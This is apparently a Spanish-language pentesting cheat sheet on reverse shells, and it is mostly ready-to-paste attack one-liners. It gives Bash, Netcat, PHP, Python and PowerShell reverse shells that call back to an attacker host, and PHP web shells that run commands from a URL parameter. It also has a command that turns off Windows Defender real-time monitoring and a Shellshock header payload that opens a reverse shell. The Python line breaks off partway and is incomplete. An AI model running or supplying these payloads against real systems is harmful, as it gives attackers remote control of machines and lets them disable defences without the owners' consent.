Reverse Shell

y como obtener acceso

Featured image

Ejemplos principales:

Bash

┌─[root@kali]─[/home/user/demo/exploit]
└──╼ bash -i >& /dev/tcp/10.0.0.1/443 0>&1
┌─[root@kali]─[/home/user/demo/exploit]
└──╼ /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0<&1'

Python

┌─[root@kali]─[/home/user/demo/exploit]
└──╼ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234))

Netcat

#Versiones actualizadas
┌─[root@kali]─[/home/user/demo/exploit]
└──╼ nc -e /bin/sh 10.0.0.1 1234

#Versiones más antiguas
┌─[root@kali]─[/home/user/demo/exploit]
└──╼ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

PHP

En PHP se puede ingresar un archivo malicioso que devuelva una reverse shell.

Descarga archivo aquí

Para testear ejecución remota de comandos:

<?php system($_GET[ls]);?>

## <?php system($_GET[cmd]);?>

Para obtener una reverse shell por medio de comandos:

┌─[root@kali]─[/home/user/demo/exploit]
└──╼ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Otros códigos se pueden encontrar en el directorio /usr/share/webshells/laudanum o desde el GitHub de laudanum.

PowerShell (cmd)

C:\Users\test> powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Deshabilitar Antivirus

PS C:\Users\test> Set-MpPreference -DisableRealtimeMonitoring $true

Ejemplo de uso

En burpsuite se podría ocupar en ataques como Shellshock, por ejemplo:

#Se ocupa como base un proceso como este...
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
#Acá se adapta el proceso...
User Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.1/1234 0>&1